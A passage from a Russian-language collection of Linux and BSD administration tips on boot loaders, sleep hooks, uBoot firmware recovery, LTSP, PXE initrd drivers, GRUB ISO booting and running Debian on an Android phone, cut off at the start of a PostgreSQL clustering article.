    ----* Как в Ubuntu выполнить действие или остановить программу перед переходом в спящий режим (доп. ссылка 1)   [комментарии]
     
    Иногда следует перед выполнение перехода в спящий или ждущий режим выполнить
    какие-то действия, например, дождаться завершения какого-то процесса или
    принудительно завершить его.
    
    Например, в случае использования инструмента резервного копирования backintime
    при копировании данных по сети может наблюдаться проблема, вызванная тем, что
    backintime блокирует переход в спящий режим до завершения выполнения операции,
    но проверка на запуск backintime осуществляется уже после отключения сетевых
    интерфейсов, т.е. завершить копирование по сети уже невозможно, что приводит к
    сбою в работе backintime и невозможности перевести систему в спящий режим.
    
    
    В качестве решения проблемы можно создать простой скрипт, который на начальной
    стадии перехода в спящий режим дождется завершения выполнения программы.
    Создаем /etc/pm/sleep.d/01_backintime:
    
    
       #!/bin/bash
       # Arve Seljebu, may 2010
    
       # check if script parameter is hibernate or suspend
       case "${1}" in
         hibernate|suspend)
           # run loop as long as program /usr/bin/backintime is running
           while pgrep -f "/usr/bin/backintime "; do
             sleep 5
           done
         ;;
       esac
    
       # always exit cleanly
       exit 0
    
    
    Другой проблемой может стать необходимость отмонтирования вручную подключенных
    шифрованных или сетевых ФС, например, для отмонтирования encfs-разделов можно
    использовать скрипт /etc/pm/sleep.d/20_unmount_storage:
    
       #!/bin/bash
       #
       # Script which unmounts network storage before suspend and  hibernate.
       #
       # Arve Seljebu. May 2011
     
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
     
       # Which mountpoints we want to umount
       MOUNTPOINT[0]=/media/storage/encfs
       MOUNTPOINT[1]=/media/storage
       #MOUNTPOINT[2]=/media/storage2
       # User to run from (user who mounted them)
       USER=username
     
       if [ ! -x /bin/mountpoint ]; then
         echo "Did not find executable /bin/mounpoint"
         exit 0
       fi
     
       case "${1}" in
         hibernate|suspend)
           for i in "${MOUNTPOINT[@]}"
           do
           # check if the mountpoint is mounted
           echo "Checking if mountpoint $i is mounted..."
           sudo -u $USER mountpoint $i > /dev/null
           if [ "$?" == "0" ]; then
             # try to umount with fusermount, if not succsessful, try    with umount
             echo "Mountpoint $i mounted, umounting..."
             fusermount -u $i
             if [ "$?" != "0" ];
             then umount $i
             fi
           fi
         done
         echo "Done..."
         exit 0
         ;;
         resume|thaw)
         # nothing
         ;;
       esac
    
    
    По аналогии можно создать скрипты и для обработки других ситуаций.
    
     
    ----* Использование uBoot для восстановления поврежденной прошивки портативных устройств (доп. ссылка 1)   [обсудить]
     
    В большом числе основанных на Linux портативных устройств и встраиваемых систем
    (например, на телефонах на базе платформы Android), используется загрузчик
    uBoot, который можно использовать для экстренной загрузки прошивки, в случае
    мертвого зависания аппарата вследствие неудачной перепрошивки.
    
    При попытке загрузки с подключенной через последовательный порт консолью, в
    терминале можно увидеть примерно такую информацию:
    
       U-Boot 2010.03-01161-gd91b0a9 (Apr 22 2010 - 03:24:41)
       Marvell-GuruPlug
    
       SoC:   Kirkwood 88F6281_A0
       DRAM:  512 MB
       NAND:  512 MiB
       In:    serial
       Out:   serial
       Err:   serial
       Net:   egiga0, egiga1
       88E1121 Initialized on egiga0
       88E1121 Initialized on egiga1
       Hit any key to stop autoboot:  3 
    
    При нажатии любой клавиши процесс продолжения загрузки будет прерван и на
    экране появится приглашение для ввода команд:
    
       Marvell>> 
    
    Для просмотра переменных окружения загрузчика вводим команду printenv:
    
       Marvell>> printenv
       bootcmd=${x_bootcmd_usb}; ${x_bootcmd_kernel}; setenv
        bootargs ${x_bootargs} ${x_bootargs_root}; 
        bootm 0x6400000;
       bootdelay=3
       baudrate=115200
       x_bootcmd_usb=usb start
       x_bootcmd_kernel=nand read.e 0x6400000 0x100000 0x400000
       x_bootargs=console=ttyS0,115200
       x_bootargs_root=ubi.mtd=2 root=ubi0:rootfs rootfstype=ubifs
       ethaddr=02:50:43:16:d0:2b
       ethact=egiga0
       eth1addr=02:50:43:fb:31:71
       bootargs=rootwait
       stdin=serial
       stdout=serial
       stderr=serial
    
       Environment size: 441/131068 bytes
    
    и аккуратно сохраняем где-нибудь выведенные параметры, на всякий случай, чтобы
    в дальнейшем можно было вернуться к первоначальным настройкам.
    
    Изменение переменных окружения производится командой setenv, например,
    установим IP-адреса для встроенного Ethernet-адаптера:
    
       Marvell>> setenv ipaddr 192.168.1.55
       Marvell>> setenv serverip 192.168.1.1
       Marvell>> setenv netmask 255.255.255.0
    
    Для сохранения изменений во Flash-память необходимо использовать команду saveenv.
    
    Введя команду help можно посмотреть список доступных встроенных команд, а введя
    "help имя_команды", посмотреть краткую справку о заданной команде. Подробнее с
    командами uBoot можно познакомиться в этом или этом руководстве.
    
    Наша задача, организовать для оживления аппарата загрузку ядра и корневой ФС.
    Нам необходимо найти образ ядра (uImage), необходимых модулей с драйверами
    (modules.tar.gz), образ ram-диска (initrd) и корневой ФС (rootfs.tar.gz). Как
    правило  данные файлы можно выделить из распространяемых производителем
    обновлений прошивки или попытаться найти в сети, например, на сайтах
    http://plugcomputer.org/ или http://sheeva-with-linux.com.
    
    Некоторые типы устройств можно восстановить без лишних трудностей, например,
    для встраиваемых систем Ionics Stratus в uBoot предусмотрена специальная
    команда для быстрого восстановления прошивки через USB - достаточно скопировать
    на USB Flash файлы  uImage, modules.tar.gz, rootfs.tar.gz и initrd. После чего
    в приглашении uBoot набрать:
    
       run recover2
    
    Для других устройств, таких как Guruplug, восстановление немного сложнее.
    Копируем на USB Flash файлы uImage и modules.tar.gz, после чего в приглашении
    uBoot выполняем команды:
    
       usb start
       fatload usb 0 0x00800000 uImage
       nand erase clean 0x00100000 0x00400000
       nand write.e 0x00800000 0x00100000 0x00400000
       bootm 0x00800000 0x01100000
    
    После чего перезагружаем устройство, входим под пользователем root и
    распаковываем содержимое архива modules.tar.gz в корень:
    
       cd /
       tar xvf /mnt/modules.tar.gz
    
    uBoot также способен считать ядро и initrd с SD-карты или по сети, используя
    протокол tftp (tftp-сервер для большинства Linux-дистрибутивов представлен в
    пакете tftpd).
    
    Альтернативным путем восстановления работоспособности устройства является
    использование готовых инструментариев. Например, программа ESIA
    предоставляет удобный GUI-интерфейс для восстановления типовых устройств.  Для
    подключения необходимо установить свежую версию программы openocd, которая
    позволяет задействовать JTAG-интерфейс, подключившись к устройству через
    последовательный порт. Далее, нужно подгрузить драйвер ftdi_sio, указав
    корректный идентификатор устройства (можно посмотреть командой lsusb):
    
       sudo rmmod ftdi_sio
       sudo modprobe ftdi_sio vendor=0x1c0c product=0x0102
    
    Если программа ESIA не помогла, можно попробовать скрипты Sheevaplug Installer
    и GuruPlug Installer.
    
     
    ----* Использование LTSP для организации работы тонких клиентов (доп. ссылка 1) (доп. ссылка 2)   Автор: xenos88  [обсудить]
     
    Шаги по установке сервера LTSP (Linux Terminal Server Project) для обеспечения
    работы тонких клиентов, пример справедлив для свежеустановленного
    десктоп-варианта Ubuntu с GNOME:
    
    1) Установите ssh-сервер, который используется в LTSP для организации
    коммуникации между компьютерами:
    
       sudo apt-get install ssh
    
    2) Установите LTSP сервер: 
    
       sudo apt-get install ltsp-server-standalone
    
    3) Создайте конфигурационные файлы для тонких клиентов:
    
       sudo ltsp-build-client
    
    4) Установите поддержку сетевой файловой системы NFS: 
    
       sudo apt-get install nfs-kernel-server
    
    5) Установите TFTP-сервер: 
    
       sudo apt-get install tftpd-hpa
    
    6) Измените конфигурацию tftpd /etc/default/tftpd-hpa для работы в режиме
    "демона", изменив значение переменно RUN_DAEMON на RUN_DAEMON="yes".
    
    7) Измените конфигурационный файл экспорта NFS /etc/exports, путем добавления строчки:
    
       /opt/ltsp *(ro,no_root_squash,async,no_subtree_check)
    
    8) Отключите автоматическую загрузку tftpd в /etc/inetd.conf, закомментировав строку с tftp.
    
    9) Перезапустите сервисы NFS, inetd и tftpd: 
    
       sudo invoke-rc.d openbsd-inetd restart
       sudo invoke-rc.d nfs-kernel-server restart
       sudo invoke-rc.d tftpd-hpa restart
    
    10) Измените конфигурацию DHCP  /etc/ltsp/dhcpd.conf, например:
    
       authoritative;
       subnet 192.168.85.0 netmask 255.255.255.0 {
        range 192.168.85.70 192.168.85.230;
        option domain-name "office.digiton.ru";
        option domain-name-servers 212.48.193.37, 212.48.193.36;
        option broadcast-address 192.168.85.255;
        option routers 192.168.85.1;
        option subnet-mask 255.255.255.0;
        option root-path "/opt/ltsp/i386";
        if substring( option vendor-class-identifier, 0, 9 ) = "PXEClient" {
            filename "/ltsp/i386/pxelinux.0";
        } else {
            filename "/ltsp/i386/nbi.img";
        }
    }
    
    Подключаем файл конфигурации DHCP от LTSP к DHCP-серверу, в конец файла
    /etc/dhcp3/dhcpd.conf добавляем строку:
    
       include "/etc/ltsp/dhcpd.conf";
    
    Включите XDMCP (X Display Manager control protocol):
    
       sudo cp /usr/share/doc/gdm/examples/custom.conf /etc/gdm/
    
    После копирования добавьте в /etc/gdm/custom.conf:
       [xdmcp]
       Enable=true
       DisplaysPerHost=2 (может быть больше дисплеев зависит от количества мониторов на компьютер)
    
    11) Перезапустите GDM: 
    
       sudo restart gdm 
    
    
    12) Перезапустите dhcp: 
    
       sudo invoke-rc.d dhcp3-server restart
    
    13) Загрузите машины с тонкими клиентами, использовав сетевую загрузку PXE
    ("Preboot Execution Environment").
    
    
    В будущем, после обновления сервера может потребоваться обновить ключи для ssh и образ ltsp: 
       sudo ltsp-update-sshkeys
       sudo ltsp-update-image
    
     
    ----* Организация установки OpenBSD с USB Flash (доп. ссылка 1)   [обсудить]
     
    Задача: подготовить USB Flash (/dev/sd0) для установки с него OpenBSD.
    
    Создаем дисковые разделы на Flash:
    
       # fdisk -iy sd0
       Writing MBR at offset 0. 
    
       # disklabel -E sd0
       Label editor (enter '?' for help at any prompt)
    
    выводим список разделов на экран
       > p m
       OpenBSD area: 63-4160835; size: 2031.6M; free: 0.0M
       #                size           offset  fstype [fsize bsize  cpg]
         c:          2035.0M                0  unused                   
         i:          2031.6M               63   MSDOS                   
    
    удаляем существующий раздел
       > d *
    
    добавляем слайс "a"
       > a a
       offset: [63] 
       size: [4160772] 
       FS type: [4.2BSD] 
    
    выводим список разделов на экран
       > p m
    
       OpenBSD area: 63-4160835; size: 2031.6M; free: 0.0M
       #                size           offset  fstype [fsize bsize  cpg]
         a:          2031.6M               63  4.2BSD   2048 16384    1 
         c:          2035.0M                0  unused                   
    
    выходим и сохраняем изменения
       > q
       Write new label?: [y] y
    
    Создаем файловую систему:
    
       # newfs /dev/rsd0a/
    
    Проверяем целостность созданной ФС
    
       # fsck -fp /dev/rsd0a
    
    И наблюдаем страшные ошибки:
    
       dev/rsd0a: BAD SUPER BLOCK: VALUES IN SUPER BLOCK DISAGREE WITH THOSE IN LAST ALTERNATE
       /dev/rsd0a: UNEXPECTED INCONSISTENCY; RUN fsck_ffs MANUALLY.
    
    Как ни странно решить эту проблему помогает предварительная чистка всего содержимого Flash:
    
       tr '\000' '\377' < /dev/zero | dd bs=16384 of=/dev/rsd0c
    
    Если fsck не показал каких-либо ошибок, монтируем созданный раздел и копируем
    на него ядро и компоненты базовой системы:
    
       # mount /dev/sd0a /mnt
       # cp /usr/mdec/boot /mnt
       # cp bsd.rd /mnt/bsd
    
    Устанавливаем загрузчик:
    
       # /usr/mdec/installboot -v /mnt/boot /usr/mdec/biosboot sd0
    
       boot: /mnt/boot proto: /usr/mdec/biosboot device: /dev/rsd0c
    /mnt/boot is 3 blocks x 16384 bytes
       fs block shift 2; part offset 63; inode block 24, offset 936
    using MBR partition 3: type 0xA6 offset 63
    
    Создаем директорию вида "4.6/i386" и копируем в нее установочные файлы:
    
       # mkdir -p /mnt/4.6/i386
       # cd /mnt/4.6/i386
       # wget "ftp://ftp.openbsd.org/pub/OpenBSD/4.6/i386/*"
    
    Проверяем целостность загруженных данных
    
       # cd /mnt/4.6/i386
       # for i in *; do grep -e "($i)" SHA256 >> ../sha ; done;
       # cksum -c ../sha || echo "FAILED!!!"
    
    Отмонтируем и еще раз проверяем:
    
       # umount /mnt
       # fsck -fp /dev/rsd0a
       /dev/rsd0a: 3 files, 3047 used, 964509 free (13 frags, 120562 blocks, 0.0% fragmentation)
    
    Установочный Flash готов. Для начала установки после загрузки Flash в ответ на
    приглашение "boot>" необходимо ввести "bsd.rd".
    
     
    ----* Загрузка нескольких iso-образов с одного USB Flash c файловой системой VFAT (доп. ссылка 1)   [комментарии]
     
    В Grub2 появилась возможность прямой загрузки iso-образов с диска, что удобно
    использовать для организации загрузки нескольких LiveCD-дистрибутивов с USB Flash.
    
    Предположим, что USB Flash в системе виден как /dev/sdb
    
    Создаем на Flash файловую систему (если не создана):
    
       sudo mkfs.vfat -n "имя метки, 11 cимволов" /dev/sdb1
     
    Монтируем:
    
       mount /dev/sdb1 /mnt/
     
    Устанавливаем загрузчик Grub2 (если в системе Grub1, можно загрузиться,
    например, с последней версии Ubuntu LiveCD):
    
       grub-install --no-floppy --root-directory=/mnt /dev/sdb
     
     
    Создаем файл конфигурации Grub /mnt/boot/grub/grub.cfg (в примере перенос через
    "\" нужно объединить в одну строку):
    
       menuentry "Ubuntu Live 9.10 32bit" {
        loopback loop /boot/iso/ubuntu-9.10-desktop-i386.iso
        linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/boot/iso/ubuntu-9.10-desktop-i386.iso noeject noprompt --
        initrd (loop)/casper/initrd.lz
       }
      
       menuentry "Grml small 2009.10" {
         loopback loop /boot/iso/grml-small_2009.10.iso
         linux (loop)/boot/grmlsmall/linux26 findiso=/boot/iso/grml-small_2009.10.iso apm=power-off \
             lang=us vga=791 boot=live nomce noeject noprompt --
         initrd (loop)/boot/grmlsmall/initrd.gz
       }
     
       menuentry "tinycore" {
         loopback loop /boot/iso/tinycore_2.3.1.iso
         linux (loop)/boot/bzImage --
         initrd (loop)/boot/tinycore.gz
       }
    
       menuentry "partmagic" {
         loopback loop /boot/iso/pmagic-3.4.iso
         linux (loop)/pmagic/bzImage iso_filename=/boot/iso/pmagic.iso load_ramdisk=1 prompt_ramdisk=0 \
            ramdisk_size=25000 root=/dev/ram0 livecd boot=live quiet vga=791 noeject noprompt sleep=0 tmpfs_size=220M
         initrd (loop)/pmagic/initramfs
       }
    
       menuentry "Netinstall 32 preseed" {
         loopback loop /boot/iso/mini.iso
         linux (loop)/linux auto url=http://www.panticz.de/pxe/preseed/preseed.seed locale=en_US \
            console-setup/layoutcode=de netcfg/choose_interface=eth0 debconf/priority=critical --
         initrd (loop)/initrd.gz
       }
     
       menuentry "debian-installer-amd64.iso" {
         loopback loop /boot/iso/debian-installer-amd64.iso
         linux (loop)/linux vga=normal --
         initrd (loop)/initrd.gz
       }
     
     
    Создаем директорию /mnt/boot/iso и копируем в нее упомянутые в конфигурации iso-образы:
    
       mkdir /mnt/boot/iso
    
       wget http://ftp.uni-kl.de/pub/linux/ubuntu.iso/9.10/ubuntu-9.10-desktop-i386.iso -P /mnt/boot/iso
       ...
    
    Отмонтируем  Flash и пробуем загрузиться 
    
       umount /mnt/
     
    
     
    ----* Мгновенная перезагрузка Linux при помощи kexec   [комментарии]
     
    В репозиториях Debian/Ubuntu/Fedora/RHEL можно найти пакет kexec-tools, дающий
    возможность быстрой перезагрузки через обновление ядра в памяти, без
    задействования фазы с участием BIOS.
    
    Ставим kexec-tools в Debian/Ubuntu:
    
       apt-get install kexec-tools
    
    После установки пакета автоматически при перезагрузке будет использован вызов
    kexec. Чтобы отключить kexec необходимо в файле конфигурации /etc/default/kexec
    установить LOAD_KEXEC=false
    
    
    В RHEL/Fedora установка производится аналогичным способом:
    
       yum install kexec-tools
    
    Замена текущего ядра в ручном режиме.
    
    Читаем ядро в память:
       kexec -l /boot/vmlinuz --initrd=/boot/initrd.img --command-line="`cat /proc/cmdline`"
    
    Переводим управление на загруженное на прошлом этапе ядро:
       kexec -e
    
     
    ----* Добавление драйвера в образ сетевой установки (PXE) CentOS 5.X   Автор: Victor Leschuk  [обсудить]
     
    Бывают ситуации, когда самый простой способ поставить систему на машину - с
    использование PXE сервера и FTP/HTTP/NFS.
    В случае, если в загрузочном образе для PXE отсутствует необходимый драйвер для
    сетевой карты или SCSI придется его
    добавлять вручную, пересобирая рамдиск. 
    
    В данном примере будем добавлять драйвер atl1 в образ Centos 5.3. 
    Далее приведен краткий список шагов и команд.
    
    1. Определение нужного устройства.
    
    Загружаемся с PXE и видим, что не обнаружилась сетевая карта
    
    Берем образ любой Linux системы, грузимся с него и смотрим вывод lspci. 
    В нашем случае сетевой карточкой оказалось устройство  1969:1048 - сетевая карточка Atheros.
    
    Драйвер для этого устройства - atl1e.
    
    2. Собираем на какой-либо машине модуль под то ядро, которое присутствует в образе. 
    Узнать версию, не загружаясь, можно например так:  
    
       dd if=vmlinuz bs=512 count=1|xxd
    
    В моем случае это 2.6.18-128.el5 x86_64. На сборочной машине пакет gcc должен быть той же версии, 
    которой собиралось ядро (здесь это gcc-4.1). Собирается модуль примерно так: 
    
       # cd /usr/src/kernels/2.6.18-128.el5-x86_64/
       # make modules M=/usr/src/atl1-1.2.40.2-1.nodist.rf/
       ...
       LD [M]  /usr/src/atl1-1.2.40.2-1.nodist.rf/atl1.ko
    
    Здесь /usr/src/atl1-1.2.40.2-1.nodist.rf - директория с исходными кодами модуля, 
    а /usr/src/kernels/2.6.18-128.el5-x86_64/ - с исходными кодами ядра (необходимо
    поставить соответствующий пакет kernel-devel).
    
    3. Распаковываем рамдиск и добавляем туда модуль: 
       $ mkdir unpack
       $ cd $_
       $ gunzip < /var/lib/tftpboot/centos53/initrd.img | cpio -i --make-directories
       $ cd modules
       $ mkdir tmp
       $ cd $_
       $ gunzip < ../modules.cgz|cpio -i --make-directories
       $  cd 2.6.18-128.el5/x86_64/
       $ cp /path/to/atl1.ko .
       $ cd ../../../
       $ mv modules.cgz ~/modules.cgz.saved
       $ find ./tmp/2.6.18-128.el5/ -print | cpio -o -Hnewc|gzip -c9 > modules.cgz
       $ rm -rf ./tmp
    
    4. Теперь надо добавить информацию о модуле в файлы modules.alias и module-info: 
    
       $ /sbin/modinfo /path/to/atl1.ko |grep alias
       alias:          pci:v00001969d00001048sv*sd*bc*sc*i*
    
       $ echo $(/sbin/modinfo /path/to/atl1.ko |grep alias) atl1 >> modules.alias
    
    Прописываем информацию о модуле в файл module-info, чтобы потом можно было
    подгрузить драйвер из меню.
    Добавляем следующие строчки: 
    
       atl1
       eth
       "Atheros L1 Gigabit Ethernet Driver "
    
    5. Запаковываем рамдиск: 
    
       $ cd ..
       $ find . -print | cpio -o -Hnewc|gzip -c9 > ../initrd_updated.img
    
    6. Правим конфигурацию pxelinux, подкладываем в папку с образами новый рамдиск и ставим систему. 
    
     
    ----* Фиксация номеров устройств для нескольких одинаковых карт в Linux (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Проблема: Несколько DVB карт при перезагрузке менялись местами в произвольном порядке. 
    
    Решение: зафиксировать эти карты на своих местах через написание udev правила.
    
    Итак, смотрим параметры каждой из карт:
    
       udevinfo -a -n /dev/dvb/adapter0/frontend0
    
       looking at device '/class/dvb/dvb0.frontend0':
        KERNEL=="dvb0.frontend0"
        SUBSYSTEM=="dvb"
        DRIVER==""
    
       looking at parent device '/devices/pci0000:00/0000:00:1e.0/0000:02:00.0':
        KERNELS=="0000:02:00.0"
        SUBSYSTEMS=="pci"
        DRIVERS=="b2c2_flexcop_pci"
        ATTRS{vendor}=="0x13d0"
        ATTRS{device}=="0x2103"
        ATTRS{subsystem_vendor}=="0x13d0"
        ATTRS{subsystem_device}=="0x2103"
        ATTRS{class}=="0x028000"
        ...
    
    Создаем файл /etc/udev/rules.d/10-local.rules с содержимым (фиксация по параметру "KERNELS"):
    
       SUBSYSTEM=="dvb", KERNELS=="0000:02:00.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter0/%%s $${K#*.}'", NAME="%c", GROUP="video"
       SUBSYSTEM=="dvb", KERNELS=="0000:02:02.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter1/%%s $${K#*.}'", NAME="%c", GROUP="video"
    
     
    ----* Смена стандартной заставки для меню GRUB в OpenSuse 11.0 (доп. ссылка 1)   Автор: Arturius  [комментарии]
     
    Дано:
    Система Open Suse 11.0
    
    Задача:
    Необходимо поставить более интересный и красивый выбор системы загрузок Grub.
    
    Решение:
    Открыть терминал.
       alt+f2 gnome-terminal или Xterm
    
    Получаем права суперпользователя
       su root
    
    Устанавливаем gfxboot, если он не установлен
       yast --install gfxboot
    
    Переходим в папку с загрузчиком
       cd /boot
    
    делаем бэкап
       cp message message.old
    
    создаём директорию
       mkdir messagetemp
    
    переходим в неё
       cd messagetemp
    
    распаковываем message
    
       cpio -iv < /boot/message
    
    Запускаем редактор
    
       vim gfxboot.cfg
    
    Затем нажимаем ins и редактируем, заменяем:
       penguin=0
    на 
       penguin=100
    
    выходим из режима редактирования нажимая Esc, вводим команду :wq
    запаковываем
       ls | cpio -ov > /boot/message
    
    перезагружаемся и радуемся...
    
     
    ----* Как минимизировать проблемы при перезагрузке зависшего Linux (доп. ссылка 1)   Автор: arsgeek.com  [комментарии]
     
    Если консоль зависла, машина работает, но не откликается на CTRL-ALT-BKSPC,
    ALT-CTRL-F1, CTRL-ALT-DEL
    и по сети зайти на машину тоже нет возможности.
    
    "ALT + SysReq + r" - перевести клавиатуру в Raw режим.
    "ALT + SysReq + s" - сбросить буферы FS на диск (может занять много времени,
    если система сильно загружена).
    "ALT + SysReq + e" - отправить сигнал завершения работы процессам.
    "ALT + SysReq + i" - принудительно убить процессы не желающие завершить работу по сигналу KILL.
    'ALT + SysReq + u' - отмонтировать дисковые разделы.
    'ALT + SysReq + b' - перезагрузить машину.
    
    
    PS. Клавиша SysReq совпадает с Print Screen.
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как создать файл устройства для монтирования раздела диска.   [обсудить]
     
    Linux IDE              #  Linux SCSI      #  FreeBSD 4
    mknod /dev/hda b 3 0   # /dev/sda b 8 0   # /dev/ad0 b 116 0x00010002
    mknod /dev/hda1 b 3 1  # /dev/sda1 b 8 1  # /dev/ad0s1 b 116 0x00020002
    mknod /dev/hda2 b 3 2  # /dev/sda2 b 8 2  # /dev/ad0s1a b 116 0x00020000
    mknod /dev/hdb b 3 64  # /dev/sdb b 8 16  # /dev/ad0s1b b 116 0x00020001
    mknod /dev/hdb1 b 3 65 # /dev/sdb1 b 8 17 # /dev/ad0s1c b 116 0x00020002
    mknod /dev/hdc b 22 0  # /dev/sdc b 8 32  # /dev/ad1s1a b 116 0x00020008
    mknod /dev/hdd b 22 64 # /dev/sdd b 8 48  # /dev/da1s1a b 13 0x00020000
    
     
    ----* Как в Linux после kernel panic вместо ожидания действия оператора автоматически выполнять перезагрузку.   [комментарии]
     
    Добавьте в /etc/rc.d/rc.local:
        echo 1 > /proc/sys/kernel/panic
    Т.е. перезагрузка будет выполнена через 1 сек. после panic, если 0 - то не перезагружать а ждать.
    
     
    ----* Как в FreeBSD запретить свободный вход как root с консоли через boot -s   [обсудить]
     
    В /etc/ttys поменяйте secure на insecure в строке:
         console none   unknown off secure
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Запуск Linux на Android-телефоне с SD-карты без перепрошивки   Автор: Павел Отредиез  [комментарии]
     
    В данной заметке рассказано как запустить ванильный Debian Linux на телефоне не
    прошивая его и не портя установленный Android.
    Мой подопытный аппарат Xiaomi Redmi note 11. Телефон не нужно рутовать,
    достаточно разблокировать загрузчик. Запускать будем с помощью fastboot (да для
    каждого запуска потребуется подключать телефон к компьютеру), а рутовую
    файловую систему будем подцеплять с SD-карты.
    
    Настройка среды
    
    Создадим рабочий каталог:
    
       mkdir ~/redmi11
       cd ~/redmi11/
    
    
    Скачаем нужное ПО:
     
       sudo apt install qemu-user-static
       sudo apt build-dep linux-source
       git clone https://android.googlesource.com/platform/system/tools/mkbootimg
       git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9
       cd aarch64-linux-android-4.9
       git switch android-msm-barbet-4.19-android12-qpr1
       cd ~/redmi11/
    
    , так же https://developer.android.com/tools/releases/platform-tools в каталог ./platform-tools.
    
    Пропишем для удобства работы пути в ./path.sh:
    
       export PATH=$PATH:$(pwd)/mkbootimg:$(pwd)/platform-tools
    
    Подключим пути в текущий bash:
    
       . path.sh
    
    
    Ядро
    
    В ядре, которое идёт в составе Android, выключены некоторые важные подсистемы,
    поэтому загрузиться с ним по-простому не получится и надо компилировать свою версию.
    
    Надо найти исходники ядра для своего телефона, для Xiaomi с этим почти нет проблем.
    
       git clone https://github.com/MiCode/Xiaomi_Kernel_OpenSource.git
       cd Xiaomi_Kernel_OpenSource/
       git switch spes-r-oss
    
    Для моей версии отсутствовал каталог techpack, он должен был быть, и ядро не
    собиралось до конца. Я нашёл techpack в аналогичной версии исходников на
    GitHub. Надо сказать, что исходники ядра Xiaomi имеют много мелких ошибок,
    связанных с включением "" <> хидеров и прочего. Я их все муторно правил, пока
    не добился компиляции без ошибок.
    Получим конфиг ядра с телефона, для этого подключим его к компьютеру и выполним:
    
       adb shell zcat /proc/config.gz > .config
    
    Сделаем два скрипта - для конфигурации ядра и для компиляции.
    ./menuconfig.sh:
    
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make menuconfig
    
    ./build.sh:
    
       PATH="$PATH:$HOME/redmi11/aarch64-linux-android-4.9/bin"
       ARCH=arm64 CROSS_COMPILE=aarch64-linux-android- make -j 8 targz-pkg
    
    Теперь изменим кофигурацию ядра и скомпилируем его. Во-первых в нем отключена
    поддержка devtmpfs, включим её
    
       CONFIG_DEVTMPFS=y
    
    Включим виртуальные консоли:
    
       CONFIG_TTY=y
       CONFIG_VT=y
       CONFIG_CONSOLE_TRANSLATIONS=y
       CONFIG_VT_CONSOLE=y
    
    Фрэймбуфер:
    
       CONFIG_DRM_FBDEV_EMULATION=y
       CONFIG_FRAMEBUFFER_CONSOLE=y
    
    Чтобы консоль не заваливало сообщениями ядра:
    
      CONFIG_CONSOLE_LOGLEVEL_DEFAULT=4
      CONFIG_CONSOLE_LOGLEVEL_QUIET=3
      CONFIG_MESSAGE_LOGLEVEL_DEFAULT=3
    
    
    ROOT файловая система
    Используем debootstrap для получения файловой системы:
    
       cd ~/redmi11/
       mkdir rootfs
       sudo debootstrap --arch=arm64 stable ./rootfs http://mirror.yandex.ru/debian
       sudo chroot rootfs/ tasksel install gnome-desktop
    
    Скопируем полученное ядро в ./rootfs/boot и модули если есть в ./rootfs/lib/modules.
    
    Отредактируем ./rootfs/etc/fstab:
    
       LABEL=debian	/	ext4	rw,defaults,noatime,nodiratime	0 1
    tmpfs /tmp tmpfs rw,nosuid,nodev,noexec,mode=1777
    
    Создадим initrd:
    
       sudo chroot rootfs/ apt install initramfs-tools
       sudo mount --bind /dev rootfs/dev
       sudo chroot rootfs/ update-initramfs -k all -c
       sudo umount rootfs/dev
    
    Теперь для удобства сделаем образ нашей файловой системы, для этого используем скрипт install.sh:
    
       #!/bin/sh
    
       mkdir -p mnt
       dd if=/dev/zero of=debian-arm64.ext4 bs=4096 count=2097152 #8Gb
    /sbin/mkfs.ext4 -L debian -O^has_journal debian-arm64.ext4
       sudo mount -o loop debian-arm64.ext4 ./mnt
       sudo cp -ar ./rootfs/* ./mnt/ 
       sudo umount ./mnt
    
    На SD карточке у меня два раздела - первый FAT32, и второй под Linux. Запишем образ на SD карточку:
    
       sudo dd if=debian-arm64.ext4 of=/dev/YourSD2 bs=512 status=progress
       sudo partprobe
       sudo resize2fs /dev/YourSD2
    
    
    Запуск
    
    Для запуска нам нужно подготовить Android boot image, используем скрипт mkbootimg.sh:
    
       mkbootimg.py \
       --header_version 3 \
       --os_version 12.0.0 \
       --os_patch_level 2023-04 \
       --kernel ./rootfs/boot/vmlinuz-4.19.157-tiny \
       --ramdisk ./rootfs/boot/initrd.img-4.19.157-tiny \
       --cmdline 'console=tty0 quiet root=LABEL=debian rootwait' \
       --board '' \
       -o boot-debian.img
    
    
    Здесь мы запускаем ядро с rootfs с меткой "debian", как мы и делали образ файловой системы.
    
    Теперь собственно запуск. Подключим телефон к компьютеру и выполним (не бойтесь
    ничего не записывается на него):
    
       adb reboot bootloader
       fastboot boot boot-debian.img
    
    
    P.S. А с драйверами я не разобрался.
    
     
    ----* Как обновить код загрузчика в FreeBSD   [комментарии]
     
    Ставим boot-менеджер в MBR:
        boot0cfg /dev/ad0
        или fdisk -B -b /boot/boot0 /dev/ad0
    
    Обновляем boot-loader (boot1 и boot2):
        disklabel -B ad0s1
    
     

       Кластерные технологии

    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
